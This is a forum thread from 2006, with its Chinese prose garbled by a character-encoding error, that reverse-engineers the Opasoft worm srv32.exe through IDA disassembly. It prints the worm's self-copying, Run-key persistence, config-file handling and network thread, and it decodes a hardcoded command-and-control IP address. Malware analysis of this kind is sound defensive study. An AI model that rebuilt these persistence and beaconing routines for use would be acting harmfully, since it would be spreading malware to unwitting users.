CODE:00401212                 test    eax, eax
CODE:00401214                 jnz     short locret_40123C ; StartServiceCtrlDispatcherAµ÷Óóɹ¦Ìø×ª
CODE:00401216                 jmp     short loc_401218

ͬÑùÒ²µ÷ÓÃÁ˺¯Êýsub_401355À´µÃµ½OpenSCManager, StartServiceCtrlDispatcherAµÈº¯ÊýµÄµØÖ·£¬Ëæºóµ÷ÓÃ
StartServiceCtrlDispatcherA(Õâ¸öº¯ÊýÓ¦¸ÃÊÇÀ´Æô¶¯ÓвÎÊý'C'´´½¨µÄ·þÎñµÄ£¬¾ßÌå´ó¼Ò»¹ÊÇ¿´Ò»ÏÂMSDN°É¡£)
Èç¹ûÆô¶¯·þÎñʧ°Ü¾ÍÒþ²Ø½ø³Ìºóµ÷ÓÃsub_40123E¡£

ÉÏÃæ¶¼ÊÇһЩ¼ÓÁ˲ÎÊýµÄÆô¶¯·½Ê½£¬µ«ÊÇÒ»°ã²¡¶¾µÚÒ»´ÎÆô¶¯Ê±¿ÉÄÜÊÇûÓвÎÊýµÄ£¬ÒòΪµÚÒ»´ÎÆô¶¯×î¿ÉÄܾÍÊÇ
²»Ð¡ÐÄË«»÷Á˱»¸ÐȾ³ÌÐò£¬ËùÒÔÎÒÃÇÔÙ¿´¿´Ã»ÓвÎÊýʱsrv32µÄÆô¶¯¹ý³ÌÊÇʲôÑù×ӵġ£


CODE:0040105C loc_40105C:
CODE:0040105C                 call    GetVersion
CODE:00401061                 bt      eax, 1Fh        ; ²âÊÔ×î¸ß루31 bit£©ÊÇ·ñΪ1£¬1Ϊwin9xƽ̨
CODE:00401065                 jnb     loc_401218      ; 0ΪNTƽ̨,×î¸ßλΪ0£¨CF = 0£©Ê±Ìø×ª£¬
CODE:00401065                                         ; Ò²¾ÍÊÇϵͳΪNTÆ½Ì¨Ê±Ìø×ªµ½loc_401218Ö´ÐÐ
CODE:00401065                                         ; RegisterServiceProcessÒþ²Ø½ø³Ì
CODE:0040106B                 lea     edi, [ebp+ExistingFileName]

Ê×Ïȵ÷ÓÃGetVersion APIº¯ÊýµÃµ½²Ù×÷ϵͳƽ̨ÐÅÏ¢£¬Èç¹ûΪNTÆ½Ì¨Ìø×ªµ½loc_401218£¬ÔÙµ÷ÓÃsub_40123E¡£
Èç¹ûΪ9xƽ̨£¬¼ÌÐøÍùÏÂÖ´ÐÐ...
CODE:0040106B                 lea     edi, [ebp+ExistingFileName]
CODE:00401071                 push    edi
CODE:00401072                 call    lstrlen         ; ¼ÆËãÎļþÃû+·¾¶µÄ³¤¶È
CODE:00401077                 mov     ecx, eax
CODE:00401079                 add     edi, eax
CODE:0040107B                 dec     edi
CODE:0040107C                 mov     al, 5Ch
CODE:0040107E                 std
CODE:0040107F                 repne scasb
CODE:00401081                 cld
CODE:00401082                 add     edi, 2          ; ¶¨Î»ÎļþÃû
CODE:00401085                 push    offset aNew_exe ; "new.exe"
CODE:0040108A                 push    edi
CODE:0040108B                 call    lstrcmpi        ; ²»Çø·Ö´óСд±È½Ï
CODE:00401090                 test    eax, eax
CODE:00401092                 jnz     loc_401218      ; ÎļþÃû²»ÊÇ"new.exe"ÔòÌø×ª

ÕâÀï²»ÖªµÀΪʲôºÍ"new.exe"±È½Ï£¿£¿£¿
ÎÒµÃÎļþÃûÊÇsrv32.exeµ±È»¾ÍÌø×ªµÄloc_401218È»ºóµ÷ÓÃsub_40123E£¬
Èç¹ûÎļþÃûÊÇnew.exeÔòÖ´ÐÐÏÂÃæµÄ´úÂë

CODE:00401098                 lea     esi, [ebp+Buffer]
CODE:0040109E                 push    100h            ; uSize
CODE:004010A3                 push    esi             ; lpBuffer
CODE:004010A4                 call    GetWindowsDirectoryA
CODE:004010A9                 push    esi
CODE:004010AA                 call    lstrlen
CODE:004010AF                 add     eax, esi
CODE:004010B1                 push    offset aSrv32_exe ; "\\Srv32.exe"
CODE:004010B6                 push    eax
CODE:004010B7                 call    lstrcpy
CODE:004010BC                 lea     eax, [ebp+hKey]
CODE:004010C2                 push    eax             ; phkResult
CODE:004010C3                 push    3               ; samDesired
CODE:004010C5                 push    0               ; ulOptions
CODE:004010C7                 push    offset aSoftwareMicros ; lpSubKey
CODE:004010CC                 push    80000002h       ; HKLM
CODE:004010D1                 call    RegOpenKeyExA
CODE:004010D6                 cmp     eax, 0
CODE:004010D9                 jnz     loc_401218
CODE:004010DF                 push    esi
CODE:004010E0                 call    lstrlen
CODE:004010E5                 inc     eax
CODE:004010E6                 push    eax             ; cbData
CODE:004010E7                 push    esi             ; lpData
CODE:004010E8                 push    1               ; dwType
CODE:004010EA                 push    0               ; Reserved
CODE:004010EC                 push    offset aSrv32   ; lpValueName
CODE:004010F1                 push    [ebp+hKey]      ; hKey
CODE:004010F7                 call    RegSetValueExA
CODE:004010FC                 push    [ebp+hKey]      ; hKey
CODE:00401102                 call    RegCloseKey

дע²á±íHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunÏÓô¦²»ÓÃ˵Á˰É^_^


CODE:00401107
CODE:00401107 loc_401107:
CODE:00401107                 push    esi             ; Ö¸¶¨²¡¶¾±»¸´ÖƵ½µÄ·¾¶ºÍÎļþÃû,ÓòÎÊýU
CODE:00401108                 call    sub_40132B      ; ɾ³ýÖ¸¶¨Îļþ
CODE:0040110D                 lea     eax, [ebp+ExistingFileName]
CODE:00401113                 push    0               ; bFailIfExists
CODE:00401115                 push    esi             ; lpNewFileName
CODE:00401116                 push    eax             ; lpExistingFileName
CODE:00401116                                         ; ²¡¶¾Â·¾¶£«Ãû³Æ
CODE:00401117                 call    CopyFileA
CODE:0040111C                 test    eax, eax
CODE:0040111E                 jz      loc_401218      ; CopyFileʧ°ÜÌø×ª

°Ñsrv32¸´ÖƵ½windowsĿ¼ÏÂ

CODE:00401124                 lea     edi, [ebp+var_300]
CODE:0040112A                 push    esi
CODE:0040112B                 push    edi
CODE:0040112C                 call    lstrcpy         ; °Ñ²¡¶¾ÐµÄ·¾¶ºÍÎļþÃû´æµ½[ebp+300]
CODE:00401131                 push    edi
CODE:00401132                 call    lstrlen
CODE:00401137                 add     edi, eax
CODE:00401139                 mov     ax, 4420h
CODE:0040113D                 stosw                   ; ´æ´¢0x4420 = " D"
CODE:0040113F                 lea     eax, [ebp+ExistingFileName]
CODE:00401145                 push    eax
CODE:00401146                 push    edi
CODE:00401147                 call    lstrcpy
CODE:0040114C                 lea     eax, [ebp+var_300] ; NewFileName + 0x4420 + ExistingFileName
CODE:00401152                 push    eax
CODE:00401153                 call    sub_4013A8      ; Õâ¸öº¯Êý´´½¨ÁËÒ»¸ö½ø³Ì
CODE:00401158                 test    eax, eax        ; eaxΪCreateProcessA·µ»ØÖµ
CODE:0040115A                 jnz     locret_40123C   ; ´´½¨½ø³Ì³É¹¦Ìø×ª£¬Ö´ÐÐнø³Ì£¬Í˳ö´Ë³ÌÐò
CODE:00401160                 jmp     loc_401218

È»ºó´´½¨Ò»¸ö½ø³Ì£¬´ø²ÎÊý'D'Ö´ÐУ¬²ÎÊý'd'ºóÃæ¸úµÄÊÇsrv32.exe ,¼´Ö´ÐÐwindowsĿ¼ÏµijÌÐòºó£¬É¾³ý×Ô
Éí£¬×îºóÒ²ÊÇÌø×ªµ½loc_401218,ÔÙµ÷ÓÃsub_40123E

µ½ÕâÀïsrv32µÄǰÆÚ¹¤×÷ÒѾ­×öºÃÁË£¬ÏÂÃæ¾Í¿ì¸ãÆÆ»µÁË
2Â¥2006-08-23 13:23:42
ÒÑÔÄ   »Ø¸´´ËÂ¥   ¹Ø×¢TA ¸øTA·¢ÏûÏ¢ ËÍTAºì»¨ TAµÄ»ØÌû

sdlj8051

½ð³æ (ÖøÃûдÊÖ)

´Ë´¦Éú³ÉÁË256×Ö½ÚÈçÏÂÊý¾Ý£º

00407750  00 10 04 04 00 00 00 00 00 00 04 00 10 10 04 04  ................
00407760  10 00 04 04 10 10 04 00 10 00 00 00 00 00 04 00  ................
00407770  00 10 00 00 00 10 04 04 10 10 04 04 00 10 00 00  ................
00407780  10 10 00 04 10 00 04 04 00 00 00 04 10 00 00 00  ................
00407790  10 10 00 00 00 10 00 04 00 10 00 04 00 10 04 00  ................
004077A0  00 10 04 00 00 00 04 04 00 00 04 04 10 10 00 04  ................
004077B0  10 00 04 00 10 00 00 04 10 00 00 04 10 00 04 00  ................
004077C0  00 00 00 00 10 10 00 00 10 10 04 00 00 00 00 04  ................
004077D0  00 00 04 00 10 10 04 04 10 00 00 00 00 00 04 04  ................
004077E0  00 10 04 04 00 00 00 04 00 00 00 04 00 10 00 00  ................
004077F0  10 00 04 04 00 00 04 00 00 10 04 00 10 00 00 04  ................
00407800  00 10 00 00 10 00 00 00 10 10 00 04 10 10 04 00  ................
00407810  10 10 04 04 10 00 04 00 00 00 04 04 10 10 00 04  ................
00407820  10 00 00 04 10 10 00 00 10 10 04 00 00 10 04 04  ................
00407830  10 10 00 00 00 10 00 04 00 10 00 04 00 00 00 00  ................
00407840  10 00 04 00 00 10 04 00 00 00 00 00 10 00 04 04  ................

ÏÖÔÚ»¹²»ÖªµÀÕâЩÊý¾Ý×öʲôÓõģ¬ÏȼÌÐøÍùÏ¿´...

CODE:004012A3 loc_4012A3:
CODE:004012A3                 push    offset aSrv32res ; "Srv32Res"
CODE:004012A8                 call    sub_4019A5      ; ´ò¿ªÒÑ´æÔÚµÄÎļþsrv32res£¬²¢µÃµ½Æä´óС
CODE:004012AD                 inc     eax             ; eaxΪÎļþsrv32resµÄ´óС
CODE:004012AE                 cmp     eax, 9
CODE:004012B1                 jnb     short loc_4012C3 ; Èç¹ûÎļþsrv32res´óÓÚ8¸ö×Ö½ÚÔòÌø×ª
CODE:004012B3                 push    offset aSccss   ; "sccss"
CODE:004012B8                 call    sub_4019A5      ; ´ò¿ªÎļþsccss
CODE:004012BD                 inc     eax
CODE:004012BE                 cmp     eax, 9
CODE:004012C1                 jb      short loc_4012C8 ; Èç¹ûÎļþsccssСÓÚ8¸ö×Ö½ÚÔòÌø×ª

ÕâÀïµ÷ÓÃsub_4019A5À´ÅжÏWindowsĿ¼ÏÂÎļþSrv32ResºÍsccssµÄ´óС£¬µÚÒ»´ÎÖ´Ðе½ÕâÀïûÓÐÕâÁ½¸ö
Îļþ£¬ËùÒÔÌø×ªÁË¡£

CODE:004012C3 loc_4012C3:
CODE:004012C3                 call    sub_40148D
CODE:004012C8
CODE:004012C8 loc_4012C8:
CODE:004012C8                 call    sub_401575
CODE:004012CD                 test    eax, eax        ; Èç¹û´ò¿ªÎļþsrv32tsk³ö´í,eax == 0
CODE:004012CF                 jnz     short loc_4012E5
CODE:004012D1                 call    sub_40148D
CODE:004012D6                 push    0FFFFFFFFh      ; dwMilliseconds = INFINITE
CODE:004012D8                 push    ds:hHandle      ; hHandle
CODE:004012DE                 call    WaitForSingleObject
CODE:004012E3                 jmp     short loc_4012C8

ÕâÒ»¶Î´úÂë»á²»¶ÏÖ´ÐÐ sub_401575,sub_40148DÖ±µ½sub_401575µÄ·µ»ØÖµ£¨eax£©²»µÈÓÚ0£»
¿´ÁËÕâÁ½¸öº¯ÊýÓ¦¸ÃʹؼüÁË£¬ÎÒÃÇÏÈ¿´¿´º¯Êýsub_401575:

CODE:00401575 sub_401575      proc near
CODE:00401575 var_4           = dword ptr -4
CODE:00401575                 enter   4, 0
CODE:00401579                 push    esi
CODE:0040157A                 mov     [ebp+var_4], 0
CODE:00401581                 push    offset dword_406587
CODE:00401586                 call    sub_4014CA      ; ¶ÁÎļþSrv32tskµÄÄÚÈÝ,´æ·Åµ½[406587]
CODE:0040158B                 cmp     eax, 0FFFFFFFFh
CODE:0040158E                 jz      short loc_4015E1 ; ´ò¿ªÎļþsrv32tskʧ°ÜÔòÍ˳ö²¢·µ»Ø0
CODE:00401590                 mov     esi, eax
CODE:00401592                 mov     [ebp+var_4], 1
CODE:00401599                 cmp     ds:dword_406593, 0
CODE:004015A0                 jz      short loc_4015AA
CODE:004015A2                 push    esi             ; hObject
CODE:004015A3                 call    CloseHandle
CODE:004015A8                 jmp     short loc_4015E1

¸ú½øsub_4014CA¿´¿´Ëü¶ÁÎļþµÄ²Ù×÷

CODE:004014CA sub_4014CA      proc near
CODE:004014CA NumberOfBytesRead= dword ptr -8
CODE:004014CA lpBuffer        = dword ptr  8
CODE:004014CA
CODE:004014CA                 enter   8, 0
CODE:004014CE                 push    0               ; hTemplateFile
CODE:004014D0                 push    0               ; dwFlagsAndAttributes
CODE:004014D2                 push    3               ; OPEN_EXISTING
CODE:004014D4                 push    0               ; lpSecurityAttributes
CODE:004014D6                 push    0               ; dwShareMode
CODE:004014D8                 push    0C0000000h      ; dwDesiredAccess
CODE:004014DD                 push    offset aSrv32tsk ; lpFileName = "Srv32tsk"
CODE:004014E2                 call    CreateFileA
CODE:004014E7                 cmp     eax, 0FFFFFFFFh
CODE:004014EA                 jz      short locret_40152D ; ´ò¿ªÎļþʧ°ÜÔòÍ˳ö

´ò¿ªWindowsĿ¼ÏµÄÎļþsrv32tsk£¬µ½CreateFileA»áʧ°Ü£¬ÎÒÃÇ¿ÉÒÔÏȽ¨Ò»¸öÎļþ
srv32tsk£¬È»ºó¿´Ëü¶ÔÎļþ×öÁËЩʲô²Ù×÷


CODE:004014EC                 mov     esi, eax
CODE:004014EE                 lea     eax, [ebp-8]
CODE:004014F1                 push    0               ; lpOverlapped
CODE:004014F3                 push    eax             ; lpNumberOfBytesRead
CODE:004014F4                 push    824h            ; nNumberOfBytesToRead = 2084B
CODE:004014F9                 push    dword ptr [ebp+8] ; lpBuffer
CODE:004014FC                 push    esi             ; hFile
CODE:004014FD                 call    ReadFile
CODE:00401502                 cmp     dword ptr [ebp-8], 2Ch ; ¶ÁÁËÎļþsrv32tskµÄ×Ö½ÚÊýºÍ44±È½Ï
CODE:00401506                 jb      short loc_401522 ; СÓÚ44¸ö×Ö½ÚÍ˳ö
CODE:00401508                 mov     edx, [ebp+8]    ; ¶ÁÈ¡µÄÄÚÈÝ
CODE:0040150B                 mov     eax, [edx+20h]  ; Îļþsrv32tskµÄµÚ32¸ö×Ö½Ú¿ªÊ¼µÄDWORDÖµ
CODE:0040150E                 shl     eax, 3
CODE:00401511                 add     eax, 24h
CODE:00401514                 cmp     eax, [ebp-8]    ; °ÑÉÏÃæµÄDWORDÖµ³ËÒÔ8¼ÓÉÏ24ºóºÍÎļþ´óС±È½Ï
CODE:00401517                 jnz     short loc_401522
CODE:00401519                 cmp     byte ptr [edx], 0 ; ÅжÏÎļþµÄµÚÒ»¸ö×Ö½ÚÊÇ·ñΪ0
CODE:0040151C                 jz      short loc_401522
CODE:0040151E                 mov     eax, esi
CODE:00401520                 jmp     short locret_40152D
CODE:00401522 ; ///////////////////////////////////////////////////////////////////////////
CODE:00401522
CODE:00401522 loc_401522:
CODE:00401522                 push    esi             ; hObject
CODE:00401523                 call    CloseHandle
CODE:00401528                 mov     eax, 0FFFFFFFFh
CODE:0040152D
CODE:0040152D locret_40152D:
CODE:0040152D                 leave
CODE:0040152E                 retn    4
CODE:0040152E sub_4014CA      endp

·µ»Øµ½º¯Êýsub_401575£º

CODE:0040158B                 cmp     eax, 0FFFFFFFFh
CODE:0040158E                 jz      short loc_4015E1 ; ´ò¿ªÎļþsrv32tskʧ°ÜÔòÍ˳ö²¢·µ»Ø0
CODE:00401590                 mov     esi, eax
CODE:00401592                 mov     [ebp+var_4], 1
CODE:00401599                 cmp     ds:dword_406593, 0 ; ´ÓÎļþsrv32tsk¿ªÊ¼µÄµÚ4¸öDWORDÖµ
CODE:004015A0                 jz      short loc_4015AA
CODE:004015A2                 push    esi             ; hObject
CODE:004015A3                 call    CloseHandle     ; ¹Ø±ÕÎļþ
CODE:004015A8                 jmp     short loc_4015E1 ; Í˳ö
CODE:004015AA ; ///////////////////////////////////////////////////////////////////////////
CODE:004015AA
CODE:004015AA loc_4015AA:                             ; CODE XREF: sub_401575+2Bj
CODE:004015AA                 cmp     ds:dword_40658B, 0 ; ´ÓÎļþ¿ªÊ¼µÄµÚ2¸öDWORDÖµ
CODE:004015B1                 jz      short loc_4015D9
CODE:004015B3
CODE:004015B3 loc_4015B3:
CODE:004015B3                 call    sub_40171C
CODE:004015B8                 mov     ds:dword_406593, 1 ; ´ÓÎļþsrv32tsk¿ªÊ¼µÄµÚ4¸öDWORDÖµ
CODE:004015C2                 mov     ds:dword_40658B, 0 ; ´ÓÎļþsrv32tsk¿ªÊ¼µÄµÚ2¸öDWORDÖµ
CODE:004015CC                 push    offset dword_406587
CODE:004015D1                 push    esi
CODE:004015D2                 call    sub_401531      ; дÎļþsrv32tsk
CODE:004015D7                 jmp     short loc_4015E1
CODE:004015D9 ; ///////////////////////////////////////////////////////////////////////////
CODE:004015D9
CODE:004015D9 loc_4015D9:
CODE:004015D9                 inc     ds:dword_40658F ; ´ÓÎļþsrv32tsk¿ªÊ¼µÄµÚ3¸öDWORDÖµ
CODE:004015DF                 jmp     short loc_4015B3
CODE:004015E1 ; ///////////////////////////////////////////////////////////////////////////
CODE:004015E1
CODE:004015E1 loc_4015E1:
CODE:004015E1                 mov     eax, [ebp+var_4]
CODE:004015E4                 pop     esi
CODE:004015E5                 leave
CODE:004015E6                 retn
CODE:004015E6 sub_401575      endp

Îļþsrv32tsk´ò¿ªÊ§°ÜµÄ»°Ö±½ÓÍ˳ö£¬Èç¹û¶ÁÎļþ³É¹¦£¬±È½Ï´ÓÎļþ¿ªÊ¼¶ÁµÄµÚ4¸öDWORD
ÖµÊÇ·ñΪ0£¬²»µÈÓÚ0¹Ø±ÕÎļþÍ˳ö´Ëº¯Êý£¬µÈÓÚ0µÄ»°±È½ÏµÚ2¸öDWORDÖµÊÇ·ñΪ0£¬Èç¹ûµÚ
2¸öDWORDÖµ²»Îª0µÄ»°µ÷ÓÃsub_40171C£¬È»ºóÓÖµ÷ÓÃsub_401531дÎļþsrv32tsk¡£

Îļþsrv32tskµÄÍ·²¿µÄ½á¹¹´ó¸ÅÊÇÕâÑùµÄ
struct tagSRV32TSK_HEAD
{
  DWORD dword_406587;
  DWORD dword_40658B;
  DWORD dword_40658F;
  DWORD dword_406593;
  DWORD dword_406597;
  DWORD dword_40659B;
  BYTE[8] unk_40659F;
  DWORD dword_4065A7;
};

ÕâÒ»¶Î´úÂëÀïµ÷ÓÃÁËÒ»¸öº¯Êýsub_40171C:

CODE:0040171C sub_40171C      proc near
CODE:0040171C                 mov     eax, ds:dword_40658F ; ´ÓÎļþsrv32tsk¿ªÊ¼µÄµÚ3¸öDWORDÖµ
CODE:00401721                 rcl     eax, 0Dh
CODE:00401724                 rcl     edx, 1
CODE:00401726                 rcl     eax, 1
CODE:00401728                 rcl     edx, 1
CODE:0040172A                 rcl     eax, 1
CODE:0040172C                 rcl     edx, 1
CODE:0040172E                 rcl     eax, 1
CODE:00401730                 rcl     edx, 1
CODE:00401732                 rcl     eax, 1
CODE:00401734                 rcl     edx, 4
CODE:00401737                 rcl     eax, 1
CODE:00401739                 rcl     edx, 1
CODE:0040173B                 rcl     eax, 1
CODE:0040173D                 rcl     edx, 3
CODE:00401740                 rcl     eax, 1
CODE:00401742                 rcl     edx, 1
CODE:00401744                 rcl     eax, 1
CODE:00401746                 rcl     edx, 1
CODE:00401748                 rcl     eax, 1
CODE:0040174A                 rcl     edx, 2
CODE:0040174D                 rcl     eax, 1
CODE:0040174F                 rcl     edx, 1
CODE:00401751                 rcl     eax, 1
CODE:00401753                 rcl     edx, 1
CODE:00401755                 rcl     eax, 1
CODE:00401757                 rcl     edx, 1
CODE:00401759                 rcl     eax, 1
CODE:0040175B                 rcl     edx, 1
CODE:0040175D                 rcl     eax, 1
CODE:0040175F                 rcl     edx, 1
CODE:00401761                 rcl     eax, 1
CODE:00401763                 rcl     edx, 1
CODE:00401765                 rcl     eax, 1
CODE:00401767                 rcl     edx, 2
CODE:0040176A                 rcl     eax, 1
CODE:0040176C                 rcl     edx, 1
CODE:0040176E                 rcl     eax, 1
CODE:00401770                 rcl     edx, 1
CODE:00401772                 rcl     eax, 1
CODE:00401774                 rcl     edx, 6
CODE:00401777                 and     edx, 0F8CEFEE0h
CODE:0040177D                 bswap   edx
CODE:0040177F                 mov     ds:dword_406597, edx ; Îļþsrv32tskµÄµÚ5¸öDWÖµ
CODE:00401785                 xor     edx, edx
CODE:00401787                 mov     ds:dword_40659B, edx ; Îļþsrv32tskµÄµÚ6¸öDWÖµ
CODE:0040178D                 retn
CODE:0040178D sub_40171C      endp

¶ÔÎļþsrv32tsk²Ù×÷Íêºó·µ»Øµ½sub_40123E

CODE:004012CD                 test    eax, eax        ; Èç¹û´ò¿ªÎļþsrv32tsk³ö´í,eax == 0
CODE:004012CF                 jnz     short loc_4012E5
CODE:004012D1                 call    sub_40148D
CODE:004012D6                 push    0FFFFFFFFh      ; dwMilliseconds = INFINITE
CODE:004012D8                 push    ds:hHandle      ; hHandle
CODE:004012DE                 call    WaitForSingleObject
CODE:004012E3                 jmp     short loc_4012C8

ÏÖÔÚ»¹ÓÐÒ»¸ö»áƵ·±Ö´Ðеĺ¯Êýsub_40148D

CODE:0040148D sub_40148D      proc near
CODE:0040148D                 cmp     ds:ThreadId, 0
CODE:00401494
CODE:00401494 loc_401494:
CODE:00401494                 jnz     short locret_4014C9
CODE:00401496                 cmp     ds:hHandle, 0FFFFFFFFh
CODE:0040149D                 jz      short loc_4014AA
CODE:0040149F                 push    ds:hHandle      ; hObject
CODE:004014A5                 call    CloseHandle
CODE:004014AA
CODE:004014AA loc_4014AA:
CODE:004014AA                 push    offset ThreadId ; lpThreadId
CODE:004014AF                 push    0               ; dwCreationFlags
CODE:004014B1                 push    0               ; lpParameter
CODE:004014B3                 push    401DB0h         ; lpStartAddress
CODE:004014B8                 push    2000h           ; dwStackSize
CODE:004014BD                 push    0               ; lpThreadAttributes
CODE:004014BF                 call    CreateThread
CODE:004014C4                 mov     ds:hHandle, eax
CODE:004014C9
CODE:004014C9 locret_4014C9:
CODE:004014C9                 retn
CODE:004014C9 sub_40148D      endp

´´½¨ÁËÒ»¸öỊ̈߳¨^_^£¬µ½ÕâÀï²Å¸Õ¸Õ¿ªÊ¼àÞ£¡£©£¬¿Ï¶¨²»»á¸ÉʲôºÃÊ£¬Ï´Î
ÎÒÃÇÔÙÏêϸ·ÖÎöÕâ¸öÏ̡߳£

µ½ÕâÀïÓиö2ÎÊÌ⣺
1. Óɺ¯Êýsub_4033E7Ëã³öµÄÄÚ´æÊý¾Ý×öºÎÓã¿
2. Îļþsrv32Res,sccssºÎsrv32tsk×öºÎÓã¿
4Â¥2006-08-23 13:25:00
ÒÑÔÄ   »Ø¸´´ËÂ¥   ¹Ø×¢TA ¸øTA·¢ÏûÏ¢ ËÍTAºì»¨ TAµÄ»ØÌû

sdlj8051

½ð³æ (ÖøÃûдÊÖ)

È䳿 srv32.exe ÄæÏò·ÖÎö±Ê¼Ç3 -- Ä»ºóͨѶƪ

ÎļþÃû³Æ£ºsrv32.exe
È䳿Ãû³Æ£ºNet-Worm.Win32.Opasoft.s
¹¤¾ß£º   IDA 4.5.1, SoftICE3.1


ÉÏ´ÎÎÒÃÇ˵µ½ÔÚº¯Êýsub_40148DÀï´´½¨ÁËÒ»¸öỊ̈߳¬ÏÖÔÚÎÒÃÇ¿´¿´Õâ¸öÏ̵߳½µ×
ÔÚ×÷ʲô¡£
CODE:0040148D sub_40148D      proc near
...
CODE:004014AA loc_4014AA:
CODE:004014AA                 push    offset ThreadId ; lpThreadId
CODE:004014AF                 push    0               ; dwCreationFlags
CODE:004014B1                 push    0               ; lpParameter
CODE:004014B3                 push    401DB0h         ; lpStartAddress
CODE:004014B8                 push    2000h           ; dwStackSize
CODE:004014BD                 push    0               ; lpThreadAttributes
CODE:004014BF                 call    CreateThread
CODE:004014C4                 mov     ds:hHandle, eax
CODE:004014C9
CODE:004014C9 locret_4014C9:
CODE:004014C9                 retn
CODE:004014C9 sub_40148D      endp

ÓÃIDA²é¿´¸ÃÏ̵߳ĴúÂëÈçÏ£º

CODE:00401DB0 ; DWORD __stdcall StartAddress(LPVOID)
CODE:00401DB0 StartAddress    proc near
CODE:00401DB0
CODE:00401DB0 dwConnectedState= dword ptr -0A68h
CODE:00401DB0 var_A64         = dword ptr -0A64h
CODE:00401DB0 var_A60         = dword ptr -0A60h
CODE:00401DB0 var_A5C         = dword ptr -0A5Ch
CODE:00401DB0 var_A58         = dword ptr -0A58h
CODE:00401DB0 NumberOfBytesWritten= dword ptr -0A54h
CODE:00401DB0 lpBuffer        = dword ptr -0A4Ch
CODE:00401DB0 hInternet       = dword ptr -0A48h
CODE:00401DB0 var_A44         = dword ptr -0A44h
CODE:00401DB0 pszUrl          = dword ptr -944h
CODE:00401DB0 Buffer          = dword ptr -844h
CODE:00401DB0 var_840         = dword ptr -840h
CODE:00401DB0 var_83C         = dword ptr -83Ch
CODE:00401DB0 var_838         = dword ptr -838h
CODE:00401DB0 var_834         = dword ptr -834h
CODE:00401DB0 var_830         = dword ptr -830h
CODE:00401DB0 var_82C         = dword ptr -82Ch
CODE:00401DB0 var_828         = dword ptr -828h
CODE:00401DB0 var_81C         = dword ptr -81Ch
CODE:00401DB0 var_814         = dword ptr -814h
CODE:00401DB0 var_810         = dword ptr -810h
CODE:00401DB0 var_10          = dword ptr -10h
CODE:00401DB0 var_C           = dword ptr -0Ch
CODE:00401DB0 hMem            = dword ptr -8
CODE:00401DB0 pBufOfReadFile  = dword ptr -4
CODE:00401DB0
CODE:00401DB0                 enter   0A68h, 0
CODE:00401DB4                 mov     [ebp+pBufOfReadFile], 0
CODE:00401DBB
CODE:00401DBB loc_401DBB:
CODE:00401DBB                 lea     eax, [ebp+dwConnectedState]
CODE:00401DC1                 push    0
CODE:00401DC3                 push    eax             ; lpdwFlags
CODE:00401DC4                 call    InternetGetConnectedState ; »ñµÃ±¾µØÍøÂçÁ¬½Ó״̬
CODE:00401DC9                 test    eax, eax
CODE:00401DCB                 jnz     short loc_401DD9
CODE:00401DCD
CODE:00401DCD loc_401DCD:
CODE:00401DCD                 push    2710h           ; dwMilliseconds
CODE:00401DD2                 call    Sleep
CODE:00401DD7                 jmp     short loc_401DBB ; ˯10ÃëÔÙ¹¤×÷
CODE:00401DD9 ; ///////////////////////////////////////////////////////////////////////////


¿ÉÒÔ¿´µ½¸ÃÏß³ÌÒ»¿ªÊ¼¾Íµ÷ÓÃInternetGetConnectedStateÀ´Åжϵ±Ç°µÄÍøÂçÁ¬½Ó״̬£¬
ûÓÐÁ¬½Ó¾ÍÐÝÏ¢10ÃëÔÙÊÔ£¬ÓÐÁ¬½Ó¾ÍÌø×ªµ½ÒÔÏ´úÂ룺

CODE:00401DD9 loc_401DD9:  
CODE:00401DD9                 push    0
CODE:00401DDB                 push    0
CODE:00401DDD                 push    0
CODE:00401DDF                 push    0               ; INTERNET_OPEN_TYPE_PRECONFIG
CODE:00401DE1                 push    0
CODE:00401DE3                 call    InternetOpenA   ; ³õʼ»¯¹¤×÷
CODE:00401DE8                 mov     [ebp+hInternet], eax
CODE:00401DEE                 push    10000h          ; 65536 Bytes
CODE:00401DF3                 push    0               ; uFlags = LMEM_FIXED
CODE:00401DF5                 call    LocalAlloc      ; ·ÖÅäÄÚ´æ
CODE:00401DFA                 mov     [ebp+lpBuffer], eax
CODE:00401E00                 lea     eax, [ebp+pBufOfReadFile]
CODE:00401E03                 push    eax
CODE:00401E04                 call    sub_401A39      ; ¶ÔÎļþhstlst²Ù×÷
CODE:00401E09                 test    eax, eax
CODE:00401E0B                 jz      short loc_401E29


InternetOpenAΪµ÷ÓÃWinInet.dllÀïµÄº¯Êý×öһЩ׼±¸¹¤×÷£¬sub_401A39»á
¶ÁWindowsĿ¼ÏÂÎļþhstlstµÄÄÚÈÝ£¬²¢¶Ô¶Á³öµÄÄÚÈݽøÐÐת»»£¨pBufOfReadFile
Ö¸ÏòµØÖ·¾ÍÊÇת»»ºóµÄÄÚÈݵĵØÖ·£©£¬µÚÒ»´ÎÖ´Ðв¢Ã»ÓÐÕâ¸öÎļþ£¬Ò²Ã»ÓÐÌø×ª£¬Æäʵ¿´
Ãû×ÖÒ²Äܲµ½Îļþhstlst¿ÉÄÜÊÇÒ»¶ÎIPµØÖ·£¨HostListÂ£¬ÆäʵÎļþhstlst²»´æ
ÔڵϰÔÚº¯Êýsub_401A39»áÓõ½Ò»¶ÎÊý¾ÝÈçÏ£º

g_IpAddr_40600C[] =
{
  0xDF,0x11,0xD2,0xEE,
  0x45,0xC6,0xFA,0xFA,
  0xB2,0xBA,0xF0,0x67,
  0x39,0x74,0x88,0xEE,
  0x25,0xB1,0xD0,0x39,
  0x87,0x1A,0x0C,0x55,
  0x11,0x65,0xA7,0xDE,
  0xA4,0x4F,0xDA,0x10
}

Õâ¶ÎÊý¾Ý¾­¹ýº¯Êýsub_401967ת»»³É£º

pBufOfReadFile[] =
{
  0xE8,0xFE,0x0C,0x00,
  0xF0,0x06,0x1E,0x00,
  0x42,0xF6,0x29,0xC9,
  0x3F,0xF7,0x87,0x30,
  0x3F,0xF7,0x87,0x30,
  0x40,0xB1,0xE2,0xC0,
  0x00,0x00,0x00,0x00,
  0x00,0x00,0x00,0x00
}

Ò»»á»áÓõ½DWORD pBufOfReadFile[0xC] ¾ÍÊÇ0x3F,0xF7,0x87,0x30
µ½ÏÂÃæÄã¾Í»á·¢ÏÖËüÊÇÒ»¶ÎIPµØÖ·,0x3087F73F = 3F.F7.87.30=63.247.135.48

¼ÌÐø×ß...
5Â¥2006-08-23 13:26:00
ÒÑÔÄ   »Ø¸´´ËÂ¥   ¹Ø×¢TA ¸øTA·¢ÏûÏ¢ ËÍTAºì»¨ TAµÄ»ØÌû
